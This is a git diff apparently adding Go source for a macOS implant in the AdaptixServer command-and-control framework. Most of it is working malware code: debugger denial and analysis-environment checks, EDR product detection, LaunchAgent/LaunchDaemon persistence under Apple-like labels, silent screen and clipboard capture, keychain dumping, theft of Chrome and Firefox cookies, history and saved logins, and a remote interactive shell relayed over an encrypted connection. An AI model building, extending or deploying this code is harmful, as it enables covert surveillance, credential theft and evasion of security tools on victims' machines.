a/AdaptixServer/extenders/macos_agent/src_agent/obj/tasks_macos.o b/AdaptixServer/extenders/macos_agent/src_agent/obj/tasks_macos.o new file mode 100644 index 00000000..7270dce5 Binary files /dev/null and b/AdaptixServer/extenders/macos_agent/src_agent/obj/tasks_macos.o differ diff --git a/AdaptixServer/extenders/macos_agent/src_agent/obj/tasks_net.o b/AdaptixServer/extenders/macos_agent/src_agent/obj/tasks_net.o new file mode 100644 index 00000000..342d4add Binary files /dev/null and b/AdaptixServer/extenders/macos_agent/src_agent/obj/tasks_net.o differ diff --git a/AdaptixServer/extenders/macos_agent/src_agent/obj/tasks_proc.o b/AdaptixServer/extenders/macos_agent/src_agent/obj/tasks_proc.o new file mode 100644 index 00000000..67013425 Binary files /dev/null and b/AdaptixServer/extenders/macos_agent/src_agent/obj/tasks_proc.o differ diff --git a/AdaptixServer/extenders/macos_agent/src_macos/Makefile b/AdaptixServer/extenders/macos_agent/src_macos/Makefile new file mode 100644 index 00000000..ee4e8778 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_macos/Makefile @@ -0,0 +1,4 @@ +all: agent + +agent: + @ GOWORK=off CGO_ENABLED=0 GOOS=darwin GOARCH=arm64 go build -modfile=go.mod -trimpath -ldflags="-s -w" -o agent && rm agent diff --git a/AdaptixServer/extenders/macos_agent/src_macos/config.go b/AdaptixServer/extenders/macos_agent/src_macos/config.go new file mode 100644 index 00000000..2616577f --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_macos/config.go @@ -0,0 +1,5 @@ +package main + +var encProfiles = [][]byte{ + // Profiles are injected at build time by pl_main.go:BuildPayload() +} diff --git a/AdaptixServer/extenders/macos_agent/src_macos/functions/functions.go b/AdaptixServer/extenders/macos_agent/src_macos/functions/functions.go new file mode 100644 index 00000000..46d894ec --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_macos/functions/functions.go @@ -0,0 +1,308 @@ +package functions + +import ( + "archive/zip" + "bytes" + "encoding/binary" + "errors" + "fmt" + "io" + "io/fs" + "net" + "os" + "os/exec" + "path/filepath" +) + +/// FS + +func CopyFile(src, dst string, info fs.FileInfo) error { + source, err := os.Open(src) + if err != nil { + return err + } + defer func(source *os.File) { + _ = source.Close() + }(source) + + dest, err := os.OpenFile(dst, os.O_RDWR|os.O_CREATE|os.O_TRUNC, info.Mode()) + if err != nil { + return err + } + defer func(dest *os.File) { + _ = dest.Close() + }(dest) + + _, err = io.Copy(dest, source) + return err +} + +func CopyDir(srcDir, dstDir string) error { + srcInfo, err := os.Stat(srcDir) + if err != nil { + return err + } + + err = os.MkdirAll(dstDir, srcInfo.Mode()) + if err != nil { + return err + } + + entries, err := os.ReadDir(srcDir) + if err != nil { + return err + } + + for _, entry := range entries { + srcPath := filepath.Join(srcDir, entry.Name()) + dstPath := filepath.Join(dstDir, entry.Name()) + + info, err := entry.Info() + if err != nil { + return err + } + + if info.IsDir() { + err = CopyDir(srcPath, dstPath) + if err != nil { + return err + } + } else { + err = CopyFile(srcPath, dstPath, info) + if err != nil { + return err + } + } + } + return nil +} + +/// ZIP + +func ZipBytes(data []byte, name string) ([]byte, error) { + var buf bytes.Buffer + zipWriter := zip.NewWriter(&buf) + + writer, err := zipWriter.Create(name) + if err != nil { + return nil, err + } + + _, err = writer.Write(data) + if err != nil { + return nil, err + } + + err = zipWriter.Close() + if err != nil { + return nil, err + } + + return buf.Bytes(), nil +} + +func UnzipBytes(zipData []byte) (map[string][]byte, error) { + result := make(map[string][]byte) + reader := bytes.NewReader(zipData) + + zipReader, err := zip.NewReader(reader, int64(len(zipData))) + if err != nil { + return nil, err + } + + for _, file := range zipReader.File { + rc, err := file.Open() + if err != nil { + return nil, err + } + + var buf bytes.Buffer + _, err = io.Copy(&buf, rc) + rc.Close() + if err != nil { + return nil, err + } + + result[file.Name] = buf.Bytes() + } + + return result, nil +} + +func ZipFile(srcFilePath string) ([]byte, error) { + buf := new(bytes.Buffer) + zipWriter := zip.NewWriter(buf) + + fileToZip, err := os.Open(srcFilePath) + if err != nil { + return nil, err + } + defer fileToZip.Close() + + info, err := fileToZip.Stat() + if err != nil { + return nil, err + } + + header, err := zip.FileInfoHeader(info) + if err != nil { + return nil, err + } + header.Name = filepath.Base(srcFilePath) + header.Method = zip.Deflate + + writer, err := zipWriter.CreateHeader(header) + if err != nil { + return nil, err + } + + _, err = io.Copy(writer, fileToZip) + if err != nil { + return nil, err + } + + if err := zipWriter.Close(); err != nil { + return nil, err + } + + return buf.Bytes(), nil +} + +func ZipDirectory(srcDir string) ([]byte, error) { + buf := new(bytes.Buffer) + zipWriter := zip.NewWriter(buf) + + err := filepath.Walk(srcDir, func(path string, info os.FileInfo, err error) error { + if err != nil { + return err + } + + relPath, err := filepath.Rel(srcDir, path) + if err != nil { + return err + } + if info.IsDir() { + if relPath == "." { + return nil + } + relPath += "/" + _, err = zipWriter.Create(relPath) + return err + } + + file, err := os.Open(path) + if err != nil { + return err + } + defer file.Close() + + header, err := zip.FileInfoHeader(info) + if err != nil { + return err + } + header.Name = relPath + header.Method = zip.Deflate + + writer, err := zipWriter.CreateHeader(header) + if err != nil { + return err + } + + _, err = io.Copy(writer, file) + return err + }) + if err != nil { + return nil, err + } + + if err := zipWriter.Close(); err != nil { + return nil, err + } + + return buf.Bytes(), nil +} + +/// SCREENS + +// Screenshots captures the screen using macOS native screencapture utility. +// Works without CGO. screencapture is a signed Apple binary — normal system activity. +func Screenshots() (map[int][]byte, error) { + result := make(map[int][]byte) + + tmpFile, err := os.CreateTemp("", "sc-*.png") + if err != nil { + return nil, err + } + tmpPath := tmpFile.Name() + tmpFile.Close() + defer os.Remove(tmpPath) + + // -x: no sound, -C: no cursor, -t png: PNG format + cmd := exec.Command("screencapture", "-x", "-C", "-t", "png", tmpPath) + cmd.Stdout = nil + cmd.Stderr = nil + if err := cmd.Run(); err != nil { + return nil, err + } + + data, err := os.ReadFile(tmpPath) + if err != nil { + return nil, err + } + if len(data) == 0 { + return nil, fmt.Errorf("empty screenshot") + } + + result[0] = data + return result, nil +} + +/// NET + +func ConnRead(conn net.Conn, size int) ([]byte, error) { + if size <= 0 { + return nil, fmt.Errorf("incorrected size: %d", size) + } + + message := make([]byte, 0, size) + tmpBuff := make([]byte, 1024) + readSize := 0 + + for readSize < size { + toRead := size - readSize + if toRead < len(tmpBuff) { + tmpBuff = tmpBuff[:toRead] + } + + n, err := conn.Read(tmpBuff) + if err != nil { + return nil, err + } + + message = append(message, tmpBuff[:n]...) + readSize += n + } + return message, nil +} + +func RecvMsg(conn net.Conn) ([]byte, error) { + bufLen, err := ConnRead(conn, 4) + if err != nil { + return nil, err + } + msgLen := binary.BigEndian.Uint32(bufLen) + + return ConnRead(conn, int(msgLen)) +} + +func SendMsg(conn net.Conn, data []byte) error { + if conn == nil { + return errors.New("conn is nil") + } + + msgLen := make([]byte, 4) + binary.BigEndian.PutUint32(msgLen, uint32(len(data))) + message := append(msgLen, data...) + _, err := conn.Write(message) + return err +} diff --git a/AdaptixServer/extenders/macos_agent/src_macos/functions/functions_darwin.go b/AdaptixServer/extenders/macos_agent/src_macos/functions/functions_darwin.go new file mode 100644 index 00000000..9cdbdeb2 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_macos/functions/functions_darwin.go @@ -0,0 +1,228 @@ +//go:build darwin +// +build darwin + +package functions + +import ( + "bufio" + "crypto/cipher" + "fmt" + "io" + "macos_agent/utils" + "os" + "os/exec" + "os/user" + "path/filepath" + "strconv" + "strings" + "syscall" + + "github.com/creack/pty" + + "howett.net/plist" +) + +func GetCP() (uint32, uint32) { + return 0, 0 +} + +func IsElevated() bool { + return os.Geteuid() == 0 +} + +func GetOsVersion() (string, error) { + f, err := os.Open(utils.StrSystemVersionPlist()) + if err != nil { + return utils.StrMacOS(), nil + } + defer f.Close() + + var data map[string]interface{} + decoder := plist.NewDecoder(f) + err = decoder.Decode(&data) + if err != nil { + return utils.StrMacOS(), nil + } + + version, ok := data[utils.StrProductVersion()].(string) + if !ok { + return utils.StrMacOS(), nil + } + + return fmt.Sprintf("%s %s", utils.StrMacOS(), version), nil +} + +func NormalizePath(relPath string) (string, error) { + if strings.HasPrefix(relPath, "~") { + usr, err := user.Current() + if err != nil { + return "", err + } + relPath = filepath.Join(usr.HomeDir, relPath[1:]) + } + path, err := filepath.Abs(relPath) + if err != nil { + return "", err + } + path = filepath.Clean(path) + return path, nil +} + +func buildFileInfo(path string, info os.FileInfo, displayName string) utils.FileInfo { + mode := info.Mode() + isLink := mode&os.ModeSymlink != 0 + + isDir := info.IsDir() + if isLink { + if targetInfo, err := os.Stat(path); err == nil { + isDir = targetInfo.IsDir() + } + } + + stat, ok := info.Sys().(*syscall.Stat_t) + var nlink uint64 = 1 + var uid, gid int + if ok { + nlink = uint64(stat.Nlink) + uid = int(stat.Uid) + gid = int(stat.Gid) + } + + username := fmt.Sprintf("%d", uid) + if u, err := user.LookupId(username); err == nil { + username = u.Username + } + group := fmt.Sprintf("%d", gid) + if g, err := user.LookupGroupId(group); err == nil { + group = g.Name + } + + return utils.FileInfo{ + Mode: mode.String(), + Nlink: int(nlink), + User: username, + Group: group, + Size: info.Size(), + Date: info.ModTime().Format("Jan _2 15:04"), + Filename: displayName, + IsDir: isDir, + } +} + +func GetListing(path string) ([]utils.FileInfo, error) { + var Files []utils.FileInfo + + pathInfo, err := os.Lstat(path) + if err != nil { + return Files, err + } + + if !pathInfo.IsDir() { + return []utils.FileInfo{buildFileInfo(path, pathInfo, filepath.Base(path))}, nil + } + + entries, err := os.ReadDir(path) + if err != nil { + return Files, err + } + + for _, entry := range entries { + fullPath := filepath.Join(path, entry.Name()) + info, err := os.Lstat(fullPath) + if err != nil { + return Files, err + } + + Files = append(Files, buildFileInfo(fullPath, info, entry.Name())) + } + return Files, nil +} + +// GetProcesses enumerates processes using macOS native ps(1). +// ps is a signed Apple binary — normal system activity, no CGO required. +func GetProcesses() ([]utils.PsInfo, error) { + out, err := exec.Command("ps", "-axo", "pid=,ppid=,tty=,user=,comm=").Output() + if err != nil { + return nil, err + } + + var Processes []utils.PsInfo + scanner := bufio.NewScanner(strings.NewReader(string(out))) + for scanner.Scan() { + line := strings.TrimSpace(scanner.Text()) + if line == "" { + continue + } + fields := strings.Fields(line) + if len(fields) < 5 { + continue + } + pid, _ := strconv.Atoi(fields[0]) + ppid, _ := strconv.Atoi(fields[1]) + tty := fields[2] + if tty == "??" { + tty = "" + } + username := fields[3] + process := strings.Join(fields[4:], " ") + + Processes = append(Processes, utils.PsInfo{ + Pid: pid, + Ppid: ppid, + Context: username, + Tty: tty, + Process: process, + }) + } + + return Processes, nil +} + +func ProcessSettings(cmd *exec.Cmd) {} + +func IsProcessRunning(cmd *exec.Cmd) bool { + if cmd.Process == nil { + return false + } + err := cmd.Process.Signal(syscall.Signal(0)) + if err != nil { + return false + } + return true +} + +func StartPtyCommand(process *exec.Cmd, columns uint16, rows uint16) (any, error) { + process.Env = append(os.Environ(), + utils.StrHistory(), utils.StrHistsize(), utils.StrHistsave(), + utils.StrHistzone(), utils.StrHistlog(), + utils.StrHistfile(), utils.StrHistfilesize(), + ) + windowSize := pty.Winsize{Rows: rows, Cols: columns} + + return pty.StartWithSize(process, &windowSize) +} + +func StopPty(Pipe any) error { + src := Pipe.(*os.File) + return src.Close() +} + +func RelayConnToPty(to any, from *cipher.StreamReader) { + pipe := to.(*os.File) + io.Copy(pipe, from) +} + +func RelayPtyToConn(to *cipher.StreamWriter, from any) { + pipe := from.(*os.File) + io.Copy(to, pipe) +} + +// GetClipboard reads the current clipboard contents using pbpaste (macOS native). +// pbpaste is a signed Apple binary — no TCC required, normal system activity. +func GetClipboard() (string, error) { + out, err := exec.Command("pbpaste").Output() + if err != nil { + return "", err + } + return string(out), nil +} diff --git a/AdaptixServer/extenders/macos_agent/src_macos/functions/opsec_darwin.go b/AdaptixServer/extenders/macos_agent/src_macos/functions/opsec_darwin.go new file mode 100644 index 00000000..0bc48b21 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_macos/functions/opsec_darwin.go @@ -0,0 +1,161 @@ +//go:build darwin +// +build darwin + +package functions + +import ( + "macos_agent/utils" + "os" + "strings" + "syscall" + "unsafe" +) + +const ( + _CTL_KERN = 1 + _KERN_PROC = 14 + _KERN_PROC_PID = 1 + _P_TRACED = 0x00000800 + _PT_DENY_ATTACH = 31 + _SYS_PTRACE = 26 + _SYS_SYSCTL = 202 + _SYS_SYSCTLBYNAME = 274 +) + +const _KINFO_PROC_SIZE = 648 +const _P_FLAG_OFFSET = 32 + +// DenyDebugger calls ptrace(PT_DENY_ATTACH, 0, 0, 0) via raw syscall. +func DenyDebugger() { + syscall.Syscall6( + uintptr(_SYS_PTRACE), + uintptr(_PT_DENY_ATTACH), + 0, 0, 0, 0, 0, + ) +} + +// IsDebuggerPresent checks the P_TRACED flag via sysctl(KERN_PROC_PID). +func IsDebuggerPresent() bool { + var buf [_KINFO_PROC_SIZE]byte + size := uintptr(len(buf)) + + mib := [4]int32{_CTL_KERN, _KERN_PROC, _KERN_PROC_PID, int32(os.Getpid())} + + _, _, errno := syscall.Syscall6( + uintptr(_SYS_SYSCTL), + uintptr(unsafe.Pointer(&mib[0])), + 4, + uintptr(unsafe.Pointer(&buf[0])), + uintptr(unsafe.Pointer(&size)), + 0, + 0, + ) + if errno != 0 { + return false + } + + pFlag := *(*int32)(unsafe.Pointer(&buf[_P_FLAG_OFFSET])) + return pFlag&_P_TRACED != 0 +} + +// sysctlByName is a helper wrapping sysctlbyname via raw syscall. +func sysctlByName(name string) ([]byte, error) { + nameBytes := append([]byte(name), 0) + + var size uintptr + _, _, errno := syscall.Syscall6( + uintptr(_SYS_SYSCTLBYNAME), + uintptr(unsafe.Pointer(&nameBytes[0])), + 0, + uintptr(unsafe.Pointer(&size)), + 0, + 0, + 0, + ) + if errno != 0 || size == 0 { + return nil, errno + } + + buf := make([]byte, size) + _, _, errno = syscall.Syscall6( + uintptr(_SYS_SYSCTLBYNAME), + uintptr(unsafe.Pointer(&nameBytes[0])), + uintptr(unsafe.Pointer(&buf[0])), + uintptr(unsafe.Pointer(&size)), + 0, + 0, + 0, + ) + if errno != 0 { + return nil, errno + } + + if size > 0 && buf[size-1] == 0 { + size-- + } + return buf[:size], nil +} + +// GetHWModel returns the hardware model string via sysctlbyname. +func GetHWModel() string { + data, err := sysctlByName(utils.StrHwModel()) + if err != nil { + return "" + } + return string(data) +} + +// IsVirtualMachine checks hw.model for virtualization indicators. +func IsVirtualMachine() bool { + model := GetHWModel() + if model == "" { + return false + } + return strings.Contains(model, "Virtual") +} + +// IsSandboxed checks if the process is running inside an App Sandbox. +func IsSandboxed() bool { + return os.Getenv(utils.StrSandboxEnv()) != "" +} + +// IsSIPDisabled checks for SIP-disabled indicators via kern.bootargs. +func IsSIPDisabled() bool { + data, err := sysctlByName(utils.StrKernBootargs()) + if err != nil { + return false + } + return strings.Contains(string(data), utils.StrAmfiBypass()) +} + +// DetectAnalysisTools checks for the presence of common macOS reversing/analysis tools. +func DetectAnalysisTools() bool { + toolPaths := []string{ + utils.StrHopper(), + utils.StrIDA(), + utils.StrGhidra(), + utils.StrCharles(), + utils.StrProxyman(), + utils.StrWireshark(), + } + for _, p := range toolPaths { + if _, err := os.Stat(p); err == nil { + return true + } + } + return false +} + +// IsAnalysisEnvironment performs a combined check for analysis/debugging indicators. +func IsAnalysisEnvironment() bool { + if IsDebuggerPresent() { + return true + } + if IsVirtualMachine() { + return true + } + if IsSIPDisabled() { + return true + } + return false +} diff --git a/AdaptixServer/extenders/macos_agent/src_macos/functions/persist_darwin.go b/AdaptixServer/extenders/macos_agent/src_macos/functions/persist_darwin.go new file mode 100644 index 00000000..117e387c --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_macos/functions/persist_darwin.go @@ -0,0 +1,509 @@ +//go:build darwin +// +build darwin + +package functions + +import ( + "fmt" + "os" + "os/exec" + "os/user" + "path/filepath" + "strings" + + "howett.net/plist" +) + +// LaunchAgent/LaunchDaemon plist structure +type launchdPlist struct { + Label string `plist:"Label"` + ProgramArguments []string `plist:"ProgramArguments"` + RunAtLoad bool `plist:"RunAtLoad"` + KeepAlive bool `plist:"KeepAlive"` + StandardOutPath string `plist:"StandardOutPath,omitempty"` + StandardErrorPath string `plist:"StandardErrorPath,omitempty"` +} + +// PersistInstall creates a LaunchAgent or LaunchDaemon plist for persistence. +// method: "launchagent" or "launchdaemon" +// label: plist label, e.g. "com.apple.mdworker.local" +func PersistInstall(method, label string) (string, error) { + selfPath, err := os.Executable() + if err != nil { + return "", fmt.Errorf("cannot resolve self path: %w", err) + } + + var dir string + switch method { + case "launchagent": + usr, err := user.Current() + if err != nil { + return "", err + } + dir = filepath.Join(usr.HomeDir, "Library", "LaunchAgents") + case "launchdaemon": + if os.Geteuid() != 0 { + return "", fmt.Errorf("launchdaemon requires root privileges") + } + dir = "/Library/LaunchDaemons" + default: + return "", fmt.Errorf("unknown persistence method: %s", method) + } + + if err := os.MkdirAll(dir, 0755); err != nil { + return "", fmt.Errorf("cannot create directory %s: %w", dir, err) + } + + plistPath := filepath.Join(dir, label+".plist") + + data := launchdPlist{ + Label: label, + ProgramArguments: []string{selfPath}, + RunAtLoad: true, + KeepAlive: true, + } + + buf, err := plist.MarshalIndent(data, plist.XMLFormat, "\t") + if err != nil { + return "", fmt.Errorf("cannot marshal plist: %w", err) + } + + if err := os.WriteFile(plistPath, buf, 0644); err != nil { + return "", fmt.Errorf("cannot write plist: %w", err) + } + + // Load the plist immediately via launchctl + _ = exec.Command("launchctl", "load", "-w", plistPath).Run() + + return fmt.Sprintf("Persistence installed: %s\nPlist: %s\nBinary: %s", method, plistPath, selfPath), nil +} + +// PersistRemove removes a LaunchAgent or LaunchDaemon persistence. +func PersistRemove(method, label string) (string, error) { + var dir string + switch method { + case "launchagent": + usr, err := user.Current() + if err != nil { + return "", err + } + dir = filepath.Join(usr.HomeDir, "Library", "LaunchAgents") + case "launchdaemon": + dir = "/Library/LaunchDaemons" + default: + return "", fmt.Errorf("unknown persistence method: %s", method) + } + + plistPath := filepath.Join(dir, label+".plist") + + if _, err := os.Stat(plistPath); os.IsNotExist(err) { + return "", fmt.Errorf("plist not found: %s", plistPath) + } + + // Unload first + _ = exec.Command("launchctl", "unload", "-w", plistPath).Run() + + if err := os.Remove(plistPath); err != nil { + return "", fmt.Errorf("cannot remove plist: %w", err) + } + + return fmt.Sprintf("Persistence removed: %s\nDeleted: %s", method, plistPath), nil +} + +// PersistStatus checks if any known persistence plists exist. +func PersistStatus() (string, error) { + usr, err := user.Current() + if err != nil { + return "", err + } + + selfPath, _ := os.Executable() + var results []string + + // Check LaunchAgents + agentDir := filepath.Join(usr.HomeDir, "Library", "LaunchAgents") + results = append(results, checkPlistDir(agentDir, selfPath, "LaunchAgent")...) + + // Check LaunchDaemons (if readable) + daemonDir := "/Library/LaunchDaemons" + results = append(results, checkPlistDir(daemonDir, selfPath, "LaunchDaemon")...) + + if len(results) == 0 { + return "No persistence found for this agent", nil + } + return strings.Join(results, "\n"), nil +} + +func checkPlistDir(dir, selfPath, ptype string) []string { + var results []string + entries, err := os.ReadDir(dir) + if err != nil { + return results + } + + for _, entry := range entries { + if !strings.HasSuffix(entry.Name(), ".plist") { + continue + } + path := filepath.Join(dir, entry.Name()) + f, err := os.Open(path) + if err != nil { + continue + } + var data launchdPlist + decoder := plist.NewDecoder(f) + err = decoder.Decode(&data) + f.Close() + if err != nil { + continue + } + + for _, arg := range data.ProgramArguments { + if arg == selfPath { + status := "loaded" + // Check if actually loaded via launchctl + out, err := exec.Command("launchctl", "list", data.Label).Output() + if err != nil || len(out) == 0 { + status = "installed (not loaded)" + } + results = append(results, fmt.Sprintf("[%s] %s — %s (%s)", ptype, data.Label, path, status)) + break + } + } + } + return results +} + +// TccCheck probes TCC permissions by attempting to access protected resources. +func TccCheck() (string, error) { + var results []string + + // Full Disk Access — try reading TCC.db + tccPath := "/Library/Application Support/com.apple.TCC/TCC.db" + if _, err := os.Open(tccPath); err == nil { + results = append(results, "[+] Full Disk Access: GRANTED") + } else { + results = append(results, "[-] Full Disk Access: DENIED") + } + + // Screen Recording — try screencapture + tmpFile, err := os.CreateTemp("", "tcc-*.png") + if err == nil { + tmpPath := tmpFile.Name() + tmpFile.Close() + defer os.Remove(tmpPath) + cmd := exec.Command("screencapture", "-x", "-t", "png", tmpPath) + if err := cmd.Run(); err != nil { + results = append(results, "[-] Screen Recording: DENIED or unavailable") + } else { + info, _ := os.Stat(tmpPath) + if info != nil && info.Size() > 0 { + results = append(results, "[+] Screen Recording: GRANTED") + } else { + results = append(results, "[-] Screen Recording: DENIED") + } + } + } + + // Accessibility — no reliable probe without CGO (CGEventTap needs it) + results = append(results, "[?] Accessibility: cannot probe without CGO") + + // Camera + out, err := exec.Command("system_profiler", "SPCameraDataType").Output() + if err == nil && len(out) > 0 { + results = append(results, "[?] Camera: hardware detected (permission untested)") + } + + // Clipboard — always available, no TCC + results = append(results, "[+] Clipboard: no TCC required") + + return strings.Join(results, "\n"), nil +} + +// DefaultsRead reads macOS defaults for a given domain. +func DefaultsRead(domain string) (string, error) { + var cmd *exec.Cmd + if domain == "" || domain == "all" { + cmd = exec.Command("defaults", "read") + } else { + cmd = exec.Command("defaults", "read", domain) + } + out, err := cmd.CombinedOutput() + if err != nil { + return "", fmt.Errorf("%s\n%s", err.Error(), string(out)) + } + return string(out), nil +} + +// EdrCheck detects known EDR/security products on macOS. +func EdrCheck() (string, error) { + var results []string + + // Known EDR process names + edrProcesses := map[string]string{ + "falcond": "CrowdStrike Falcon", + "falconctl": "CrowdStrike Falcon", + "SentinelAgent": "SentinelOne", + "sentineld": "SentinelOne", + "JamfProtect": "Jamf Protect", + "JamfDaemon": "Jamf Pro", + "jamfAgent": "Jamf Pro", + "CbOsxSensorService": "Carbon Black", + "CbDefense": "Carbon Black", + "EndpointSecurityClient": "macOS Endpoint Security (generic)", + "MicrosoftDefender": "Microsoft Defender", + "com.microsoft.dlp.daemon": "Microsoft DLP", + } + + // Get running processes + psOut, err := exec.Command("ps", "-axo", "comm=").Output() + if err != nil { + return "", fmt.Errorf("cannot enumerate processes: %w", err) + } + + foundEdr := make(map[string]bool) + for _, line := range strings.Split(string(psOut), "\n") { + proc := strings.TrimSpace(filepath.Base(line)) + if product, ok := edrProcesses[proc]; ok { + if !foundEdr[product] { + foundEdr[product] = true + results = append(results, fmt.Sprintf("[!] %s detected (process: %s)", product, proc)) + } + } + } + + // System Extensions + sysExtOut, err := exec.Command("systemextensionsctl", "list").CombinedOutput() + if err == nil { + for _, line := range strings.Split(string(sysExtOut), "\n") { + line = strings.TrimSpace(line) + if strings.Contains(line, "enabled") || strings.Contains(line, "activated") { + results = append(results, fmt.Sprintf("[*] System Extension: %s", line)) + } + } + } + + // Network Extensions (profiles) + profOut, err := exec.Command("profiles", "list").CombinedOutput() + if err == nil && len(profOut) > 10 { + results = append(results, fmt.Sprintf("[*] Configuration profiles installed (%d bytes output)", len(profOut))) + } + + if len(results) == 0 { + return "No known EDR/security products detected", nil + } + + return strings.Join(results, "\n"), nil +} + +// KeychainList lists keychain entries using the security CLI. +func KeychainList() (string, error) { + out, err := exec.Command("security", "list-keychains").CombinedOutput() + if err != nil { + return "", fmt.Errorf("security list-keychains failed: %s", string(out)) + } + + result := "Keychains:\n" + string(out) + "\n" + + // Try to dump generic passwords (will prompt on macOS if not authorized) + dumpOut, err := exec.Command("security", "dump-keychain").CombinedOutput() + if err == nil { + // Count entries + count := strings.Count(string(dumpOut), "keychain:") + result += fmt.Sprintf("Keychain entries: %d\n", count) + // Only include first 8KB to avoid overwhelming output + if len(dumpOut) > 8192 { + result += string(dumpOut[:8192]) + "\n... (truncated)" + } else { + result += string(dumpOut) + } + } else { + result += "dump-keychain: access denied or requires authorization" + } + + return result, nil +} + +// KeychainDump attempts to dump keychain entries with more detail. +func KeychainDump() (string, error) { + out, err := exec.Command("security", "dump-keychain", "-d").CombinedOutput() + if err != nil { + // -d flag may cause password prompts; fallback without -d + out, err = exec.Command("security", "dump-keychain").CombinedOutput() + if err != nil { + return "", fmt.Errorf("security dump-keychain failed: %s", string(out)) + } + } + if len(out) > 32768 { + return string(out[:32768]) + "\n... (truncated at 32KB)", nil + } + return string(out), nil +} + +// BrowserDumpChrome collects Chrome browser data (cookies, history, login data). +func BrowserDumpChrome(target string) (string, error) { + usr, err := user.Current() + if err != nil { + return "", err + } + + chromeDir := filepath.Join(usr.HomeDir, "Library", "Application Support", "Google", "Chrome", "Default") + if _, err := os.Stat(chromeDir); os.IsNotExist(err) { + return "", fmt.Errorf("Chrome profile not found: %s", chromeDir) + } + + var targetFile string + switch target { + case "cookies": + targetFile = filepath.Join(chromeDir, "Cookies") + case "history": + targetFile = filepath.Join(chromeDir, "History") + case "logins": + targetFile = filepath.Join(chromeDir, "Login Data") + default: + // List available files + var files []string + entries, _ := os.ReadDir(chromeDir) + for _, e := range entries { + if !e.IsDir() { + info, _ := e.Info() + if info != nil { + files = append(files, fmt.Sprintf(" %s (%s)", e.Name(), formatSize(info.Size()))) + } + } + } + return fmt.Sprintf("Chrome profile: %s\nFiles:\n%s\n\nUse: browser_dump chrome cookies|history|logins", chromeDir, strings.Join(files, "\n")), nil + } + + if _, err := os.Stat(targetFile); os.IsNotExist(err) { + return "", fmt.Errorf("file not found: %s", targetFile) + } + + // SQLite databases — try to read with sqlite3 CLI + var out []byte + switch target { + case "cookies": + out, err = exec.Command("sqlite3", targetFile, ".mode column", ".headers on", + "SELECT host_key, name, path, expires_utc, is_secure, is_httponly FROM cookies LIMIT 100;").CombinedOutput() + case "history": + out, err = exec.Command("sqlite3", targetFile, ".mode column", ".headers on", + "SELECT url, title, visit_count, datetime(last_visit_time/1000000-11644473600,'unixepoch') as last_visit FROM urls ORDER BY last_visit_time DESC LIMIT 100;").CombinedOutput() + case "logins": + out, err = exec.Command("sqlite3", targetFile, ".mode column", ".headers on", + "SELECT origin_url, username_value, length(password_value) as pwd_len FROM logins LIMIT 100;").CombinedOutput() + } + + if err != nil { + return "", fmt.Errorf("sqlite3 query failed: %s\n%s", err.Error(), string(out)) + } + + if len(out) == 0 { + return fmt.Sprintf("No data found in %s", target), nil + } + + return fmt.Sprintf("Chrome %s (top 100):\n%s", target, string(out)), nil +} + +// BrowserDumpFirefox collects Firefox browser data. +func BrowserDumpFirefox(target string) (string, error) { + usr, err := user.Current() + if err != nil { + return "", err + } + + ffDir := filepath.Join(usr.HomeDir, "Library", "Application Support", "Firefox", "Profiles") + if _, err := os.Stat(ffDir); os.IsNotExist(err) { + return "", fmt.Errorf("Firefox profiles not found: %s", ffDir) + } + + // Find the default profile (*.default-release or *.default) + entries, err := os.ReadDir(ffDir) + if err != nil { + return "", err + } + + var profileDir string + for _, e := range entries { + if e.IsDir() && (strings.HasSuffix(e.Name(), ".default-release") || strings.HasSuffix(e.Name(), ".default")) { + profileDir = filepath.Join(ffDir, e.Name()) + break + } + } + + if profileDir == "" { + // List all profiles + var profiles []string + for _, e := range entries { + if e.IsDir() { + profiles = append(profiles, " "+e.Name()) + } + } + return fmt.Sprintf("Firefox profiles found:\n%s\nNo default profile detected", strings.Join(profiles, "\n")), nil + } + + var targetFile string + switch target { + case "cookies": + targetFile = filepath.Join(profileDir, "cookies.sqlite") + case "history": + targetFile = filepath.Join(profileDir, "places.sqlite") + case "logins": + targetFile = filepath.Join(profileDir, "logins.json") + default: + var files []string + fentries, _ := os.ReadDir(profileDir) + for _, e := range fentries { + if !e.IsDir() { + info, _ := e.Info() + if info != nil { + files = append(files, fmt.Sprintf(" %s (%s)", e.Name(), formatSize(info.Size()))) + } + } + } + return fmt.Sprintf("Firefox profile: %s\nFiles:\n%s\n\nUse: browser_dump firefox cookies|history|logins", profileDir, strings.Join(files, "\n")), nil + } + + if _, err := os.Stat(targetFile); os.IsNotExist(err) { + return "", fmt.Errorf("file not found: %s", targetFile) + } + + if target == "logins" { + // logins.json — just read it + data, err := os.ReadFile(targetFile) + if err != nil { + return "", err + } + if len(data) > 16384 { + return string(data[:16384]) + "\n... (truncated)", nil + } + return string(data), nil + } + + // SQLite databases + var out []byte + switch target { + case "cookies": + out, err = exec.Command("sqlite3", targetFile, ".mode column", ".headers on", + "SELECT host, name, path, expiry, isSecure, isHttpOnly FROM moz_cookies LIMIT 100;").CombinedOutput() + case "history": + out, err = exec.Command("sqlite3", targetFile, ".mode column", ".headers on", + "SELECT url, title, visit_count, datetime(last_visit_date/1000000,'unixepoch') as last_visit FROM moz_places ORDER BY last_visit_date DESC LIMIT 100;").CombinedOutput() + } + + if err != nil { + return "", fmt.Errorf("sqlite3 query failed: %s\n%s", err.Error(), string(out)) + } + + return fmt.Sprintf("Firefox %s (top 100):\n%s", target, string(out)), nil +} + +func formatSize(bytes int64) string { + const ( + KB = 1024.0 + MB = KB * 1024 + ) + if float64(bytes) >= MB { + return fmt.Sprintf("%.1f MB", float64(bytes)/MB) + } + return fmt.Sprintf("%.1f KB", float64(bytes)/KB) +} diff --git a/AdaptixServer/extenders/macos_agent/src_macos/go.mod b/AdaptixServer/extenders/macos_agent/src_macos/go.mod new file mode 100644 index 00000000..f0e7e56c --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_macos/go.mod @@ -0,0 +1,11 @@ +module macos_agent + +go 1.25.4 + +require ( + github.com/creack/pty v1.1.24 + github.com/vmihailenco/msgpack/v5 v5.4.1 + howett.net/plist v1.0.1 +) + +require github.com/vmihailenco/tagparser/v2 v2.0.0 // indirect diff --git a/AdaptixServer/extenders/macos_agent/src_macos/go.sum b/AdaptixServer/extenders/macos_agent/src_macos/go.sum new file mode 100644 index 